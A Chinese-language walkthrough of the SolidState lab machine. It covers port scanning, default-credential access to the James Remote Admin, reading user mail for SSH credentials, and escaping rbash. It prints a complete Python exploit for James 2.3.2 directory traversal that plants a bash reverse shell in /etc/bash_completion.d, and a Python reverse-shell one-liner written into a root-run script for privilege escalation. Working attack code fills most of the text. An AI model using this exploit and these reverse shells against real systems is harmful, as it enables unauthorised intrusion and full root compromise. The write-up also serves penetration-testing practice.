信息收集&SSH
Server IP address | Ports Open |
---|---|
192.168.8.100 | TCP:22,25,80,110,119,4555 |
Nmap 扫描:
$ nmap -p- 192.168.8.100 --min-rate 1000 -sC -sV
结果:
Host is up (0.00061s latency).
Not shown: 65529 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u1 (protocol 2.0)
| ssh-hostkey:
| 2048 77:00:84:f5:78:b9:c7:d3:54:cf:71:2e:0d:52:6d:8b (RSA)
| 256 78:b8:3a:f6:60:19:06:91:f5:53:92:1d:3f:48:ed:53 (ECDSA)
|_ 256 e4:45:e9:ed:07:4d:73:69:43:5a:12:70:9d:c4:af:76 (ED25519)
25/tcp open smtp JAMES smtpd 2.3.2
|_smtp-commands: solidstate Hello 192.168.8.100 (192.168.8.107 [192.168.8.107]), PIPELINING, ENHANCEDSTATUSCODES
80/tcp open http Apache httpd 2.4.25 ((Debian))
|_http-title: Home - Solid State Security
|_http-server-header: Apache/2.4.25 (Debian)
110/tcp open pop3 JAMES pop3d 2.3.2
119/tcp open nntp JAMES nntpd (posting ok)
4555/tcp open james-admin JAMES Remote Admin 2.3.2
Service Info: Host: solidstate; OS: Linux; CPE: cpe:/o:linux:linux_kernel
目标存在 james-admin 服务.
$ nc 192.168.8.100 4555
使用root,root登录服务管理
修改用户mindy密码.
setpassword mindy mindy
再次连接到pop3服务
$ nc -nC 192.168.8.100 110
user mindy
pass mindy
list
retr 2
从邮件中获得用户名密码
username: mindy
pass: P@55W0rd1!2@
通过ssh登录后,你会发现这个用户受到rbash权限限制
当用户使用 rbash 时,会受到以下限制:
- 禁止更改目录:用户无法使用 cd 命令更改当前工作目录。
- 禁止设置和取消设置 shell 选项和位置参数:用户无法使用 set 和 unset 命令来更改 shell 的选项和位置参数。
- 禁止执行包含斜杠(/)的命令:用户不能直接执行路径中包含斜杠的命令。这意味着用户只能运行系统中已经配置好的命令。
- 禁止重定向输出:用户不能使用重定向(如 > 和 <)来读写文件。
- 禁止使用环境变量更改路径:用户无法更改 $PATH 环境变量,以防止其访问未经授权的命令。
- 禁止导入和定义函数:用户无法使用 source 或 . 来运行脚本,也不能定义函数。
使用 ssh -t 选项 rbash逃逸
$ ssh mindy@192.168.8.100 -t bash
使用 ssh -t
选项绕过 rbash
当你使用 ssh -t bash
命令时,实际的行为涉及以下关键点:
强制分配伪终端
-t
选项强制 SSH 会话分配一个伪终端。这在某些情况下是必要的,例如当需要交互式 shell 时。
直接启动新 Shell
- SSH 成功登录后,
-t bash
告诉 SSH 在目标机器上直接启动bash
shell,而不是默认的登录 shell。即使默认的登录 shell 是rbash
,该命令也会覆盖默认的 shell 并启动一个普通的bash
。
逃逸 rbash
的限制
- 在
rbash
环境中,用户无法直接通过命令行启动bash
,因为它禁止执行包含斜杠的命令和路径。
通过使用ssh -t bash
,你绕过了rbash
的限制,因为这个命令是在 SSH 会话建立时由远程 SSH 服务处理的,而不是在rbash
shell 内部处理的。
利用 James 已知漏洞 rbash逃逸
#!/usr/bin/python3
import socket
import sys
import time
# credentials to James Remote Administration Tool (Default - root/root)
user = 'root'
pwd = 'root'
if len(sys.argv) != 4:
sys.stderr.write("[-]Usage: python3 %s <remote ip> <local ip> <local listener port>\n" % sys.argv[0])
sys.stderr.write("[-]Example: python3 %s 172.16.1.66 172.16.1.139 443\n" % sys.argv[0])
sys.stderr.write("[-]Note: The default payload is a basic bash reverse shell - check script for details and other options.\n")
sys.exit(1)
remote_ip = sys.argv[1]
local_ip = sys.argv[2]
port = sys.argv[3]
# Select payload prior to running script - default is a reverse shell executed upon any user logging in (i.e. via SSH)
payload = '/bin/bash -i >& /dev/tcp/' + local_ip + '/' + port + ' 0>&1' # basic bash reverse shell exploit executes after user login
#payload = 'nc -e /bin/sh ' + local_ip + ' ' + port # basic netcat reverse shell
#payload = 'echo $USER && cat /etc/passwd && ping -c 4 ' + local_ip # test remote command execution capabilities and connectivity
#payload = '[ "$(id -u)" == "0" ] && touch /root/proof.txt' # proof of concept exploit on root user login only
print ("[+]Payload Selected (see script for more options): ", payload)
if '/bin/bash' in payload:
print ("[+]Example netcat listener syntax to use after successful execution: nc -lvnp", port)
def recv(s):
s.recv(1024)
time.sleep(0.2)
try:
print ("[+]Connecting to James Remote Administration Tool...")
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((remote_ip,4555)) # Assumes James Remote Administration Tool is running on Port 4555, change if necessary.
s.recv(1024)
s.send((user + "\n").encode('utf-8'))
s.recv(1024)
s.send((pwd + "\n").encode('utf-8'))
s.recv(1024)
print ("[+]Creating user...")
s.send("adduser ../../../../../../../../etc/bash_completion.d exploit\n".encode('utf-8'))
s.recv(1024)
s.send("quit\n".encode('utf-8'))
s.close()
print ("[+]Connecting to James SMTP server...")
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((remote_ip,25)) # Assumes default SMTP port, change if necessary.
s.send("ehlo team@team.pl\r\n".encode('utf-8'))
recv(s)
print ("[+]Sending payload...")
s.send("mail from: <'@team.pl>\r\n".encode('utf-8'))
recv(s)
# also try s.send("rcpt to: <../../../../../../../../etc/bash_completion.d@hostname>\r\n".encode('utf-8')) if the recipient cannot be found
s.send("rcpt to: <../../../../../../../../etc/bash_completion.d>\r\n".encode('utf-8'))
recv(s)
s.send("data\r\n".encode('utf-8'))
recv(s)
s.send("From: team@team.pl\r\n".encode('utf-8'))
s.send("\r\n".encode('utf-8'))
s.send("'\n".encode('utf-8'))
s.send((payload + "\n").encode('utf-8'))
s.send("\r\n.\r\n".encode('utf-8'))
recv(s)
s.send("quit\r\n".encode('utf-8'))
recv(s)
s.close()
print ("[+]Done! Payload will be executed once somebody logs in (i.e. via SSH).")
if '/bin/bash' in payload:
print ("[+]Don't forget to start a listener on port", port, "before logging in!")
except:
print ("Connection failed.")
我们逐步分析脚本
1.这个脚本是利用了James目录穿越漏洞
2.创建一个恶意用户
s.send("adduser ../../../../../../../../etc/bash_completion.d exploit\n".encode('utf-8'))
3.连接SMTP(25)服务,发送邮件给…/…/…/…/…/…/…/…/etc/bash_completion.d
s.send("mail from: <'@team.pl>\r\n".encode('utf-8'))
recv(s)
s.send("rcpt to: <../../../../../../../../etc/bash_completion.d>\r\n".encode('utf-8'))
recv(s)
s.send("data\r\n".encode('utf-8'))
recv(s)
s.send("From: team@team.pl\r\n".encode('utf-8'))
s.send("\r\n".encode('utf-8'))
s.send("'\n".encode('utf-8'))
s.send((payload + "\n").encode('utf-8'))
s.send("\r\n.\r\n".encode('utf-8'))
recv(s)
s.send("quit\r\n".encode('utf-8'))
recv(s)
这行代码中发送给了 ../../../../../../../../etc/bash_completion.d
,但是实际上服务端在处理该邮件时,已将带有反向shell的载荷保存到 ../../../../../../../../etc/bash_completion.d
了
由于 /etc/bash_completion.d
目录中的脚本在用户启动 Bash 时会自动加载和执行,因此当用户登录时,payload(有效载荷)也会被执行。
所以我们需要监听10032
$ nc -lvnp 10032
$ python3 exp.py 192.168.8.100 192.168.8.107 10032
因此我们需要利用ssh登录,来触发payload
$ ssh mindy@192.168.8.100
Local.txt 截屏
Local.txt 内容
dj218doa91
权限提升
我们将pspy32工具上传至服务器
https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy32
pspy32 是 pspy 工具的 32 位版本。pspy 是一个开源工具,用于监控 Linux 系统上的进程和命令执行。它不需要 root 权限,也不依赖于系统上的任何特定库或二进制文件,因此可以非常方便地用于安全审计和调试目的。
${debian_chroot:+($debian_chroot)}mindy@solidstate:/tmp$ chmod +x pspy32
${debian_chroot:+($debian_chroot)}mindy@solidstate:~$ vi /opt/tmp.py
root 用户执行了/opt/tmp.py
不幸的是,我们无法在/etc/crontab看到这个任务执行周期
通过ls -la /opt/tmp.py
查看,验证了这个文件的确可以被任何用户修改
我们将反向shell代码写入到/opt/tmp.py
。
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.8.107",10033));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")
$ nc -lvnp 10033
几分钟后我们可以获取目标Root权限
Proot.txt 截屏
Proot.txt 内容
di1910012n